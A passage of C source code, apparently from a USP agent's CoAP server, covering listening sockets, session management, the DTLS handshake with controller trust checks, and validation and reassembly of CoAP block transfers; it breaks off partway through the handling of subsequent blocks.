**************************************************************************/
void COAP_SERVER_ProcessAllSocketActivity(socket_set_t *set)
{
int i, j;
coap_server_t *cs;
coap_server_session_t *css;
// Service all CoAP server sockets (these receive CoAP BLOCK packets from the controller)
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if (cs->instance != INVALID)
{
// Service existing connections
for (j=0; j<MAX_COAP_SERVER_SESSIONS; j++)
{
css = &cs->sessions[j];
if (css->socket_fd != INVALID)
{
if (SOCKET_SET_IsReadyToRead(css->socket_fd, set))
{
ReceiveCoapBlock(cs, css);
}
}
}
// Accept new connections
// We do this after servicing sessions, because we don't want the socket to block when it is added to the session, because it's already been serviced here
if (cs->listen_sock != INVALID)
{
if (SOCKET_SET_IsReadyToRead(cs->listen_sock, set))
{
StartCoapSession(cs);
}
}
}
}
}
/*********************************************************************//**
**
** COAP_SERVER_AreNoOutstandingIncomingMessages
**
** Determines whether there are no outstanding incoming messages
**
** \param None
**
** \return true if no outstanding incoming messages
**
**************************************************************************/
bool COAP_SERVER_AreNoOutstandingIncomingMessages(void)
{
int i, j;
coap_server_t *cs;
coap_server_session_t *css;
// Iterate over all CoAP servers, seeing if any are currently receiving messages
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if (cs->instance != INVALID)
{
for (j=0; j<MAX_COAP_SERVER_SESSIONS; j++)
{
css = &cs->sessions[j];
if (css->usp_buf_len != 0)
{
return false;
}
}
}
}
// If the code gets here, then there are no outstanding incoming messages
return true;
}
/*********************************************************************//**
**
** StartCoapListenSock
**
** Starts a listening socket on the specified CoAP Server
**
** \param cs - pointer to coap server
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int StartCoapListenSock(coap_server_t *cs)
{
nu_ipaddr_t nu_intf_addr;
struct sockaddr_storage saddr;
socklen_t saddr_len;
sa_family_t family;
int result;
int err;
bool prefer_ipv6;
int enable = 1;
int sock = INVALID;
// Get preference for IPv4 or IPv6 WAN address (in case of Dual Stack CPE)
prefer_ipv6 = DEVICE_LOCAL_AGENT_GetDualStackPreference();
// Exit if unable to get current IP address for specified network interface
err = tw_ulib_get_dev_ipaddr(cs->interface, cs->listen_addr, sizeof(cs->listen_addr), prefer_ipv6);
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: CoAP server's listening interface on %s is down. Retrying later", __FUNCTION__, cs->interface);
goto exit;
}
// Exit if unable to convert the interface address into an nu_ipaddr structure
err = nu_ipaddr_from_str(cs->listen_addr, &nu_intf_addr);
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: Unable to convert IP address (%s)", __FUNCTION__, cs->interface);
goto exit;
}
// Exit if unable to make a socket address structure to bind to
err = nu_ipaddr_to_sockaddr(&nu_intf_addr, cs->listen_port, &saddr, &saddr_len);
if (err != USP_ERR_OK)
{
goto exit;
}
// Exit if unable to determine which address family to use when creating the listening socket
err = nu_ipaddr_get_family(&nu_intf_addr, &family);
if (err != USP_ERR_OK)
{
goto exit;
}
// Exit if unable to create the listening socket
USP_ASSERT(INVALID == -1);
sock = socket(family, SOCK_DGRAM, 0);
if (sock == INVALID)
{
USP_ERR_ERRNO("socket", errno);
err = USP_ERR_INTERNAL_ERROR;
goto exit;
}
// Exit if unable to reuse the same port
// This is necessary because new sessions are listened for from any peer, but existing sessions may be connected to specific peer sockets
err = setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(enable));
if (err != 0)
{
USP_ERR_ERRNO("setsockopt", errno);
err = USP_ERR_INTERNAL_ERROR;
close(sock);
goto exit;
}
// Exit if unable to bind to the required network interface
result = bind(sock, (struct sockaddr *) &saddr, saddr_len);
if (result != 0)
{
USP_ERR_ERRNO("bind", errno);
err = USP_ERR_INTERNAL_ERROR;
close(sock);
goto exit;
}
// If the code gets here, then the listening socket was started successfully
cs->listen_sock = sock;
err = USP_ERR_OK;
exit:
// If an error occurred, mark the server as not listening on any address, this will cause UpdateCoapServerInterfaces()
// to periodically try to restart the server, when the interface has an IP address
if (err != USP_ERR_OK)
{
cs->listen_addr[0] = '\0';
if (sock != INVALID)
{
close(sock);
}
}
return err;
}
/*********************************************************************//**
**
** StartCoapSession
**
** Called after receiving a CoAP PDU on the listening socket, to start a new session for it
**
** \param cs - pointer to coap server
**
** \return None
**
**************************************************************************/
void StartCoapSession(coap_server_t *cs)
{
int err;
coap_server_session_t *css;
nu_ipaddr_t peer_addr;
uint16_t peer_port;
struct sockaddr_storage saddr;
socklen_t saddr_len;
char buf[NU_IPADDRSTRLEN];
// Exit if unable to determine the address of the peer sending a CoAP PDU
err = GetPeerAddr(cs->listen_sock, &peer_addr, &peer_port);
if (err != USP_ERR_OK)
{
// Restart the listening socket, if an error occurred whilst getting the peer address
// (as this would have been caused by an error on the listening socket)
close(cs->listen_sock);
cs->listen_sock = INVALID;
StartCoapListenSock(cs); // NOTE: We can ignore any errors, as UpdateCoapServerInterfaces() will retry later
return;
}
// Find a CoAP session slot, possibly killing an existing session if one is not free otherwise
css = FindCoapSession(cs, &peer_addr);
USP_ASSERT(css != NULL)
// Initialise the new session
InitCoapSession(css);
// Move the listening socket into this session
css->socket_fd = cs->listen_sock;
cs->listen_sock = INVALID;
// Create a new listening socket to replace the one we moved to the session
StartCoapListenSock(cs); // NOTE: We can ignore any errors, as UpdateCoapServerInterfaces() will retry later
// Convert peer address and port to a sockaddr structure
err = nu_ipaddr_to_sockaddr(&peer_addr, peer_port, &saddr, &saddr_len);
USP_ASSERT(err == USP_ERR_OK);
// Exit if unable to explicitly connect the session socket to the remote peer
err = connect(css->socket_fd, (struct sockaddr *) &saddr, saddr_len);
if (err != 0)
{
USP_ERR_ERRNO("connect", errno);
StopCoapSession(css);
return;
}
// Store the peer's IP address and port in the session structure
USP_PROTOCOL("%s: Accepting %s CoAP session from %s, port %d (using session %d)", __FUNCTION__, IS_ENCRYPTED_STRING(cs->enable_encryption), nu_ipaddr_str(&peer_addr, buf, sizeof(buf)), peer_port, css->index);
memcpy(&css->peer_addr, &peer_addr, sizeof(peer_addr));
css->peer_port = peer_port;
css->role = ROLE_NON_SSL; // This role will be overridden if the DTLS handshake is performed
// Perform DTLS handshake
if (cs->enable_encryption)
{
err = PerformSessionDtlsConnect(css);
if (err != USP_ERR_OK)
{
StopCoapSession(css);
}
}
}
/*********************************************************************//**
**
** InitCoapSession
**
** Initialises the CoAP session structure
**
** \param css - pointer to structure describing coap session
**
** \return None
**
**************************************************************************/
void InitCoapSession(coap_server_session_t *css)
{
pdu_response_t *last_resp;
css->socket_fd = INVALID;
css->ssl = NULL;
css->rbio = NULL;
css->wbio = NULL;
css->is_first_usp_msg = true;
css->cert_chain = NULL;
css->allowed_controllers = NULL;
css->role = ROLE_DEFAULT; // Set default role, if not determined from SSL certs
memset(&css->peer_addr, 0, sizeof(css->peer_addr));
css->peer_port = INVALID;
memset(&css->token, 0, sizeof(css->token));
css->token_size = 0;
css->block_count = 0;
css->block_size = 0;
css->last_block_time = time(NULL);
css->usp_buf = NULL;
css->usp_buf_len = 0;
last_resp = &css->last_response;
last_resp->message_id = INVALID;
last_resp->len = 0;
last_resp->pdu_data = NULL;
}
/*********************************************************************//**
**
** GetPeerAddr
**
** Gets the address of the peer that sent a packet on the specified socket
**
** \param sock - socket that has a packet from a peer
** \param peer_addr - pointer to structure in which to return the IP address of the peer that sent the packet
** \param peer_port - pointer to variable in which to return the IP port that the packet was sent from
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int GetPeerAddr(int sock, nu_ipaddr_t *peer_addr, uint16_t *peer_port)
{
struct sockaddr_storage saddr;
socklen_t saddr_len;
int len;
int err;
unsigned char buf[1];
// Exit if unable to peek the peer's address
memset(&saddr, 0, sizeof(saddr));
saddr_len = sizeof(saddr);
len = recvfrom(sock, buf, sizeof(buf), MSG_PEEK, (struct sockaddr *) &saddr, &saddr_len);
if (len == -1)
{
USP_ERR_ERRNO("recv", errno);
return USP_ERR_INTERNAL_ERROR;
}
// Exit if unable to convert sockaddr structure to IP address and port used by controller that sent us this PDU
err = nu_ipaddr_from_sockaddr_storage(&saddr, peer_addr, peer_port);
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: nu_ipaddr_from_sockaddr_storage() failed", __FUNCTION__);
return USP_ERR_INTERNAL_ERROR;
}
return USP_ERR_OK;
}
/*********************************************************************//**
**
** FindCoapSession
**
** Gets a new CoAP session on which to process the new PDU
** NOTE: This function may shutdown an unused session in order to achieve this
**
** \param cs - pointer to coap server
** \param peer_addr - IP address of peer that is starting a new session
**
** \return pointer to coap session
**
**************************************************************************/
coap_server_session_t *FindCoapSession(coap_server_t *cs, nu_ipaddr_t *peer_addr)
{
int j;
coap_server_session_t *css;
time_t cur_time;
int score;
int max_score = 0;
coap_server_session_t *chosen_css = NULL;
// Exit if there is an existing unused session
for (j=0; j<MAX_COAP_SERVER_SESSIONS; j++)
{
css = &cs->sessions[j];
if (css->socket_fd == INVALID)
{
return css;
}
}
// Iterate over all existing sessions, choosing the one with the highest score
cur_time = time(NULL);
for (j=0; j<MAX_COAP_SERVER_SESSIONS; j++)
{
css = &cs->sessions[j];
if (css->socket_fd != INVALID)
{
// Choose to reuse sessions with longest inactive time
#define MAX_INACTIVE_TIME 3600 // Maximum amount of time before we consider the session to be completely inactive
USP_ASSERT(css->last_block_time > (time_t)0);
score = cur_time - css->last_block_time;
if (score > MAX_INACTIVE_TIME)
{
score = MAX_INACTIVE_TIME;
}
// Prioritize reuse of sessions with the same peer
if (memcmp(peer_addr, &css->peer_addr, sizeof(css->peer_addr))==0)
{
score += MAX_INACTIVE_TIME+1;
}
if (score >= max_score) // NOTE: Use >=, so that it always finds at least one match (even if score==0)
{
max_score = score;
chosen_css = css;
}
}
}
// Stop the existing session
USP_ASSERT(chosen_css != NULL);
StopCoapSession(chosen_css);
return chosen_css;
}
/*********************************************************************//**
**
** PerformSessionDtlsConnect
**
** Function called to perform the DTLS Handshake when receiving from a controller
** This is called only after our CoAP server receives a packet
**
** \param css - pointer to structure describing coap session
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int PerformSessionDtlsConnect(coap_server_session_t *css)
{
int result;
int err;
struct sockaddr_storage saddr;
struct timeval timeout;
// Exit if unable to create an SSL object
css->ssl = SSL_new(coap_server_ssl_ctx);
if (css->ssl == NULL)
{
USP_LOG_Error("%s: SSL_new() failed", __FUNCTION__);
return USP_ERR_INTERNAL_ERROR;
}
// Set the pointer to the variable in which to point to the certificate chain collected in the verify callback
SSL_set_app_data(css->ssl, &css->cert_chain);
// Exit if unable to create a read BIO
css->rbio = BIO_new_dgram(css->socket_fd, BIO_NOCLOSE);
if (css->rbio == NULL)
{
USP_LOG_Error("%s: Unable to create read BIO", __FUNCTION__);
SSL_free(css->ssl);
css->ssl = NULL;
return USP_ERR_INTERNAL_ERROR;
}
// Exit if unable to create a write BIO
css->wbio = BIO_new_dgram(css->socket_fd, BIO_NOCLOSE);
if (css->wbio == NULL)
{
USP_LOG_Error("%s: Unable to create write BIO", __FUNCTION__);
BIO_free(css->rbio);
SSL_free(css->ssl);
css->ssl = NULL;
return USP_ERR_INTERNAL_ERROR;
}
// Set the DTLS bio for reading and writing
SSL_set_bio(css->ssl, css->rbio, css->wbio);
// Set timeouts for DTLSv1_listen() and SSL_accept()
timeout.tv_sec = DTLS_READ_TIMEOUT;
timeout.tv_usec = 0;
BIO_ctrl(css->rbio, BIO_CTRL_DGRAM_SET_RECV_TIMEOUT, 0, &timeout);
BIO_ctrl(css->wbio, BIO_CTRL_DGRAM_SET_RECV_TIMEOUT, 0, &timeout);
SSL_set_options(css->ssl, SSL_OP_COOKIE_EXCHANGE);
// Exit if an error occurred when listening to the server socket
// DTLSv1_listen() responds to the 'ClientHello' by sending a 'Hello Verify Request' containing a cookie
// then waits for the peer to sent back the 'Client Hello' with the cookie
result = DTLSv1_listen(css->ssl, (void *) &saddr);
if (result < 0)
{
err = SSL_get_error(css->ssl, result);
USP_LOG_ErrorSSL(__FUNCTION__, "DTLSv1_listen() failed. Resetting CoAP session.", result, err);
return USP_ERR_INTERNAL_ERROR;
}
// Exit if no packet was received (Note: This shouldn't happen as we should have only got here if a packet was ready to read)
if (result == 0)
{
USP_LOG_Warning("%s: DTLSv1_listen() returned 0. Resetting CoAP session", __FUNCTION__);
return USP_ERR_INTERNAL_ERROR;
}
// Set the BIO object to the 'connected' state
BIO_ctrl(css->rbio, BIO_CTRL_DGRAM_SET_CONNECTED, 0, &saddr);
BIO_ctrl(css->wbio, BIO_CTRL_DGRAM_SET_CONNECTED, 0, &saddr);
// The following is needed for compatibility with libcoap
// If not set, then the DTLS handshake takes a number of seconds to complete, as our OpenSSL server tries successively smaller MTUs
// Also the maximum MTU size must be set after DTLSv1_listen(), because DTLSv1_listen() resets it
SSL_set_mtu(css->ssl, MAX_COAP_PDU_SIZE);
// Exit if unable to finish the DTLS handshake
// Sends the 'ServerHello' containing server Certificate, client certificate request, and ending in 'ServerHelloDone'
// Then waits for SSL Handshake message and finally sends a NewSessionTicket
// NOTE: This agent must have its own cert (same as STOMP client cert), otherwise SSL_accept complains that there's 'no shared cipher'
result = SSL_accept(css->ssl);
if (result < 0)
{
err = SSL_get_error(css->ssl, result);
USP_LOG_ErrorSSL(__FUNCTION__, "SSL_accept() failed. Resetting CoAP session", result, err);
return USP_ERR_INTERNAL_ERROR;
}
// If we have a certificate chain, then determine which role to allow for controllers on this CoAP connection
if (css->cert_chain != NULL)
{
// Exit if unable to determine the role associated with the trusted root cert that signed the peer cert
err = DEVICE_SECURITY_GetControllerTrust(css->cert_chain, &css->role, &css->allowed_controllers);
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: DEVICE_SECURITY_GetControllerTrust() failed. Resetting CoAP session", __FUNCTION__);
return USP_ERR_INTERNAL_ERROR;
}
}
return USP_ERR_OK;
}
/*********************************************************************//**
**
** StopCoapSession
**
** This function tears down a CoAP session
**
** \param css - pointer to structure describing coap session
**
** \return None
**
**************************************************************************/
void StopCoapSession(coap_server_session_t *css)
{
pdu_response_t *last_resp;
// Free the USP record that has been received, setting state back, so that we can start receiving a new one
FreeReceivedUspRecord(css);
// Free the last response PDU
last_resp = &css->last_response;
USP_SAFE_FREE(last_resp->pdu_data);
last_resp->pdu_data = NULL;
// Exit if no socket to close
if (css->socket_fd == INVALID)
{
USP_ASSERT(css->ssl==NULL);
USP_ASSERT(css->rbio==NULL);
USP_ASSERT(css->wbio==NULL);
return;
}
// Free the certificate chain and allowed controllers list
if (css->cert_chain != NULL)
{
sk_X509_pop_free(css->cert_chain, X509_free);
css->cert_chain = NULL;
}
USP_SAFE_FREE(css->allowed_controllers);
// Free the SSL object, gracefully shutting down the SSL connection
// NOTE: This also frees the BIO object (if one exists) as it is owned by the SSL object
if (css->ssl != NULL)
{
SSL_shutdown(css->ssl); // NOTE: If the peer has already closed their socket, then this graceful shutdown will result in ICMP destination unreachable
SSL_free(css->ssl);
css->ssl = NULL;
css->rbio = NULL;
css->wbio = NULL;
}
// Close the socket
close(css->socket_fd);
css->socket_fd = INVALID;
}
/*********************************************************************//**
**
** FreeReceivedUspRecord
**
** Frees the USP Record that has been received (or partially received) and sets the block count
** state back to allow reception of a new USP Record
**
** \param css - pointer to structure describing coap session
**
** \return action flags determining what actions to take
**
**************************************************************************/
void FreeReceivedUspRecord(coap_server_session_t *css)
{
// Free any partially received USP Record
if (css->usp_buf != NULL)
{
USP_FREE(css->usp_buf);
css->usp_buf = NULL;
}
css->usp_buf_len = 0;
css->block_count = 0;
css->block_size = 0;
}
/*********************************************************************//**
**
** ReceiveCoapBlock
**
** Reads a CoAP PDU containing part of a USP message, sent from a controller
** This is expected to be a BLOCK or a single CoAP POST message
**
** \param cs - coap server on which to process the received CoAP PDU
** \param css - pointer to structure describing coap session
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
void ReceiveCoapBlock(coap_server_t *cs, coap_server_session_t *css)
{
unsigned char buf[MAX_COAP_PDU_SIZE];
int len;
parsed_pdu_t pp;
unsigned action_flags;
int err;
// Exit if the connection has been closed by the peer
len = COAP_ReceivePdu(css->ssl, css->rbio, css->socket_fd, buf, sizeof(buf));
if (len == -1)
{
if (css->usp_buf_len == 0)
{
USP_PROTOCOL("%s: Connection closed gracefully by peer after it finished sending blocks", __FUNCTION__);
}
else
{
USP_LOG_Error("%s: Connection closed by peer or error. Dropping partially received USP Record (%d bytes)", __FUNCTION__, css->usp_buf_len);
}
StopCoapSession(css);
return;
}
// Exit if there is nothing to read.
// This could be the case for DTLS connections if still in the process of performing DTLS handshake
if (len == 0)
{
return;
}
css->last_block_time = time(NULL);
// Exit if an error occurred whilst parsing the PDU
memset(&pp, 0, sizeof(pp));
pp.message_id = INVALID;
pp.mtp_reply_to.protocol = kMtpProtocol_CoAP;
action_flags = COAP_ParsePdu(buf, len, &pp);
if (action_flags != COAP_NO_ERROR)
{
goto exit;
}
// Determine what actions to take
action_flags = CalcCoapServerActions(cs, css, &pp);
exit:
// Perform the actions set in the action flags
// Check that code does not set contradictory actions to perform in the action flags
USP_ASSERT( (action_flags & (SEND_ACK | SEND_RST)) != (SEND_ACK | SEND_RST) );
USP_ASSERT( ((action_flags & USP_RECORD_COMPLETE) == 0) || ((action_flags & (SEND_RST | INDICATE_ERR_IN_ACK | INDICATE_WELL_KNOWN | RESEND_LAST_RESPONSE | RESET_STATE)) == 0) );
// Send a CoAP RST if required
if (action_flags & SEND_RST)
{
(void)SendCoapRstFromServer(css, &pp); // Intentionlly ignoring error, as we will reset the CoAP server anyway
action_flags |= RESET_STATE;
}
// Resend the last CoAP PDU (ACK or RST) if required
if (action_flags & RESEND_LAST_RESPONSE)
{
err = COAP_SendPdu(css->ssl, css->wbio, css->socket_fd, css->last_response.pdu_data, css->last_response.len);
if (err != USP_ERR_OK)
{
action_flags |= RESET_STATE; // Reset the connection if client disconnected
}
}
// Send a CoAP ACK if required
if (action_flags & SEND_ACK)
{
err = SendCoapAck(css, &pp, action_flags);
if ((err != USP_ERR_OK) || (action_flags & INDICATE_ERR_IN_ACK))
{
USP_LOG_Error("%s: Resetting agent's CoAP server after sending ACK indicating error, or unable to send ACK", __FUNCTION__);
action_flags |= RESET_STATE;
}
}
// Handle a complete USP record being received
if (action_flags & USP_RECORD_COMPLETE)
{
// Log reception of message
char time_buf[MAX_ISO8601_LEN];
char addr_buf[NU_IPADDRSTRLEN];
iso8601_cur_time(time_buf, sizeof(time_buf));
nu_ipaddr_to_str(&css->peer_addr, addr_buf, sizeof(addr_buf));
USP_LOG_Info("Message received at time %s, from host %s over CoAP", time_buf, addr_buf);
// Post complete USP record to the data model thread (as long as the peer address in the 'reply-to' matches that of the received packet)
if (IsReplyToValid(css, &pp))
{
// Create a copy of the reply-to details, modifying coap_host to be the IP literal peer address to send the response back to
// (This is necessary as the peer's reply-to may be a hostname which has both IPv4 and IPv6 DNS records. We want to reply back using the same IP version we received on)
mtp_reply_to_t mtp_reply_to;
memcpy(&mtp_reply_to, &pp.mtp_reply_to, sizeof(mtp_reply_to));
mtp_reply_to.coap_host = addr_buf;
// The USP response message to this request should be sent back on a new DTLS session, if this USP request was received on a new DTLS session
mtp_reply_to.coap_reset_session_hint = css->is_first_usp_msg & cs->enable_encryption;
css->is_first_usp_msg = false;
// Post the USP record for processing
DM_EXEC_PostUspRecord(css->usp_buf, css->usp_buf_len, css->role, css->allowed_controllers, &mtp_reply_to);
FreeReceivedUspRecord(css);
}
}
// Reset state back to waiting for first block of a USP record, if peer sent a RST, or an error occurred when sending an ACK
if (action_flags & RESET_STATE)
{
FreeReceivedUspRecord(css);
}
}
/*********************************************************************//**
**
** CalcCoapServerActions
**
** Determines what actions to take after the CoAP server received a PDU
** NOTE: The caller has already checked that the PDU is from the peer sending messages to us
**
** \param cs - pointer to structure describing coap server to update
** \param css - pointer to structure describing coap session
** \param pp - pointer to structure containing the parsed CoAP PDU
**
** \return action flags determining what actions to take
**
**************************************************************************/
unsigned CalcCoapServerActions(coap_server_t *cs, coap_server_session_t *css, parsed_pdu_t *pp)
{
unsigned action_flags;
// Exit if we've already received this PDU before. Resend the response, because the original response might have gone missing
// NOTE: This could happen under normal circumstances, so isn't an error
if (pp->message_id == css->last_response.message_id)
{
USP_PROTOCOL("%s: Already received CoAP PDU (MID=%d) (Resending response)", __FUNCTION__, pp->message_id);
return RESEND_LAST_RESPONSE;
}
// Exit if we received a RST
if (pp->pdu_type == kPduType_Reset)
{
USP_PROTOCOL("%s: Received CoAP PDU (MID=%d) was a RST (pdu_type=%d)", __FUNCTION__, pp->message_id, pp->pdu_type);
return RESET_STATE;
}
// Exit if our server received an ACK or a 'Non-Confirmable'
if ((pp->pdu_type == kPduType_Acknowledgement) || (pp->pdu_type == kPduType_NonConfirmable))
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) was not of the expected type (pdu_type=%d)", __FUNCTION__, pp->message_id, pp->pdu_type);
return SEND_RST; // Send RST for unhandled non-confirmable messages (RFC7252 section 4.3, page 23)
}
// If the code gets here, then a 'Confirmable' PDU was received
USP_ASSERT(pp->pdu_type == kPduType_Confirmable);
// Exit if CoAP PDU wasn't of expected class
if (pp->pdu_class != kPduClass_Request)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) was not of the expected class (pdu_class=%d)", __FUNCTION__, pp->message_id, pp->pdu_class);
return SEND_RST;
}
// Exit if CoAP PDU was the special case of resource discovery using a GET of '.well-known/core'
if ((pp->request_response_code == kPduRequestMethod_Get) && (strcmp(pp->uri_path, ".well-known/core")==0))
{
COAP_SetErrMessage("</%s>;if=\"bbf.usp.a\";rt=\"bbf.usp.endpoint\";title=\"USP Agent\";ct=42", cs->listen_resource);
return SEND_ACK | INDICATE_WELL_KNOWN;
}
// Exit if CoAP PDU wasn't of expected method
if (pp->request_response_code != kPduRequestMethod_Post)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) was not of the expected method (pdu_method=%d)", __FUNCTION__, pp->message_id, pp->request_response_code);
return SEND_ACK | INDICATE_BAD_METHOD;
}
// Handle the block, updating state and determining what to do at the end of this function
if (css->block_count == 0)
{
action_flags = HandleFirstCoapBlock(cs, css, pp);
}
else
{
action_flags = HandleSubsequentCoapBlock(cs, css, pp);
}
// Change the response to send an ACK (4.00 Bad Request) if the USP Record could not be unpacked
if (action_flags & USP_RECORD_COMPLETE)
{
UspRecord__Record *rec;
rec = usp_record__record__unpack(pbuf_allocator, css->usp_buf_len, css->usp_buf);
if (rec == NULL)
{
COAP_SetErrMessage("%s: usp_record__session_record__unpack failed. Ignoring USP Message", __FUNCTION__);
action_flags = SEND_ACK | INDICATE_BAD_REQUEST;
}
else
{
usp_record__record__free_unpacked(rec, pbuf_allocator);
}
}
return action_flags;
}
/*********************************************************************//**
**
** HandleFirstCoapBlock
**
** Handles the first block received of a USP record
**
** \param cs - pointer to CoAP server which received the payload we're appending
** \param css - pointer to structure describing coap session
** \param pp - pointer to parsed CoAP PDU
**
** \return action flags determining what actions to take
**
**************************************************************************/
unsigned HandleFirstCoapBlock(coap_server_t *cs, coap_server_session_t *css, parsed_pdu_t *pp)
{
unsigned action_flags = SEND_ACK | USP_RECORD_COMPLETE; // Assume there is no block option, or no more blocks
unsigned temp_flags;
// Exit if content format is incorrect for USP
if ((pp->options_present & CONTENT_FORMAT_PRESENT) && (pp->content_format != kPduContentFormat_OctetStream))
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has unexpected content format for USP (content_format=%d)", __FUNCTION__, pp->message_id, pp->content_format);
return SEND_ACK | INDICATE_BAD_CONTENT;
}
// Exit if no URI path was specified, or the path did not match our USP resource
if ( ((pp->options_present & URI_PATH_PRESENT) == 0) || (strcmp(pp->uri_path, cs->listen_resource) != 0) )
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has incorrect URI path for USP (uri_path=%s)", __FUNCTION__, pp->message_id, pp->uri_path);
return SEND_ACK | INDICATE_NOT_FOUND;
}
// Exit if the URI query option is not present
if ((pp->options_present & URI_QUERY_PRESENT) == 0)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) does not contain URI query option", __FUNCTION__, pp->message_id);
return SEND_ACK | INDICATE_BAD_REQUEST;
}
// Exit if the total size of the USP record being sent is too large for us to accept
if ((pp->options_present & SIZE1_PRESENT) && (pp->total_size > MAX_USP_MSG_LEN))
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) indicates total USP record size is too large (total_size=%u)", __FUNCTION__, pp->message_id, pp->total_size);
return SEND_ACK | INDICATE_TOO_LARGE;
}
// Copy the token
// NOTE: Tokens only need to be present if the Block option is present
memcpy(css->token, pp->token, pp->token_size);
css->token_size = pp->token_size;
// Handle the block option, if present
if (pp->options_present & BLOCK1_PRESENT)
{
// Exit if the first block we've received isn't block 0
if (pp->rxed_block != 0)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has unexpected block number (block=%d)", __FUNCTION__, pp->message_id, pp->rxed_block);
return SEND_ACK | INDICATE_INCOMPLETE;
}
// Exit if no token specified
if (pp->token_size == 0)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has BLOCK1, but no token", __FUNCTION__, pp->message_id);
return SEND_RST;
}
// Exit if the payload is not the same size as that indicated by the block option (if this is the first of many blocks)
if ((pp->is_more_blocks == 1) && (pp->payload_len != pp->block_size))
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has mismatching payload_len=%d and block_size=%d", __FUNCTION__, pp->message_id, pp->payload_len, pp->block_size);
return SEND_ACK | INDICATE_INCOMPLETE;
}
// Store state for subsequent blocks
css->block_size = pp->block_size;
css->block_count = 0; // Reset the block count, it will be incremented by AppendCoapPayload
// If there are more blocks, then the USP record is not complete yet
if (pp->is_more_blocks == 1)
{
action_flags &= (~USP_RECORD_COMPLETE);
}
}
// Copy this block to the end of the USP record buffer
temp_flags = AppendCoapPayload(css, pp);
if (temp_flags != COAP_NO_ERROR)
{
return temp_flags;
}
LogRxedCoapPdu(pp);
return action_flags;
}
/*********************************************************************//**
**
** HandleSubsequentCoapBlock
**
** Handles the second and subsequent blocks received of a USP record
**
** \param cs - pointer to CoAP server which received the payload we're appending
** \param css - pointer to structure describing coap session
** \param pp - pointer to parsed CoAP PDU
**
** \return action flags determining what actions to take
**
**************************************************************************/
unsigned HandleSubsequentCoapBlock(coap_server_t *cs, coap_server_session_t *css, parsed_pdu_t *pp)
{
unsigned action_flags = SEND_ACK | USP_RECORD_COMPLETE; // Assume there is no block option, or no more blocks
unsigned temp_flags;
// Exit if the token doesn't match that of the first block
if ((pp->token_size != css->token_size) || (memcmp(pp->token, css->token, css->token_size) != 0))
{
USP_PROTOCOL("%s: Received CoAP PDU (MID=%d) has different token from first block. Treating this as a new USP Record.", __FUNCTION__, pp->message_id);
action_flags = HandleFirstCoapBlock(cs, css, pp);
return action_flags;
}
// Exit if content format is incorrect for USP
if ((pp->options_present & CONTENT_FORMAT_PRESENT) && (pp->content_format != kPduContentFormat_OctetStream))
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has unexpected content format for USP (content_format=%d)", __FUNCTION__, pp->message_id, pp->content_format);
return SEND_ACK | INDICATE_BAD_CONTENT;
}
// Exit if a URI path was specified and did not match our USP resource
if ( (pp->options_present & URI_PATH_PRESENT) && (strcmp(pp->uri_path, cs->listen_resource) != 0) )
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has incorrect URI path for USP (uri_path=%s)", __FUNCTION__, pp->message_id, pp->uri_path);
return SEND_ACK | INDICATE_NOT_FOUND;
}
// Exit if the URI query option is not present
if ((pp->options_present & URI_QUERY_PRESENT) == 0)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) does not contain URI query option", __FUNCTION__, pp->message_id);
return SEND_ACK | INDICATE_BAD_REQUEST;
}
// Exit if a block option is not present but was previously
if ((pp->options_present & BLOCK1_PRESENT) == 0)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) is a subsequent block, but no Block1 option", __FUNCTION__, pp->message_id);
return SEND_ACK | INDICATE_BAD_REQUEST;
}
// Exit if the payload is larger than that indicated by the block option
if (pp->payload_len > pp->block_size)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has payload_len=%d larger than block_size=%d", __FUNCTION__, pp->message_id, pp->payload_len, pp->block_size);
return SEND_ACK | INDICATE_BAD_REQUEST;
}
// Exit if this is not the last block and the payload is not the same size as that indicated by the block option
if ((pp->is_more_blocks == 1) && (pp->payload_len != pp->block_size))
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has mismatching payload_len=%d and block_size=%d", __FUNCTION__, pp->message_id, pp->payload_len, pp->block_size);
return SEND_ACK | INDICATE_BAD_REQUEST;
}
// Exit if sender is trying to increase the block size that they send to us
if (pp->block_size > css->block_size)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has dynamically changed larger block size (block_size=%d, previously=%d)", __FUNCTION__, pp->message_id, pp->block_size, css->block_size);
return SEND_ACK | INDICATE_INCOMPLETE;
}
// Deal with the case of the sender trying to decrease the block size that they send to us
if (pp->block_size != css->block_size)
{
// Calculate the new count of number of blocks we've received, based on the new block size
USP_PROTOCOL("%s: Received CoAP PDU (MID=%d) has dynamically changed block size (block_size=%d, previously=%d)", __FUNCTION__, pp->message_id, pp->block_size, css->block_size);
css->block_size = pp->block_size;
}
// Exit if this block is an earlier block that we've already received
// NOTE: This could happen in practice, so just acknowledge this block, but do nothing with it
if (pp->rxed_block < css->block_count)
{
USP_PROTOCOL("%s: Received CoAP PDU (MID=%d) has earlier block number than expected (block=%d, expected=%d)", __FUNCTION__, pp->message_id, pp->rxed_block, css->block_count);
return SEND_ACK;
}
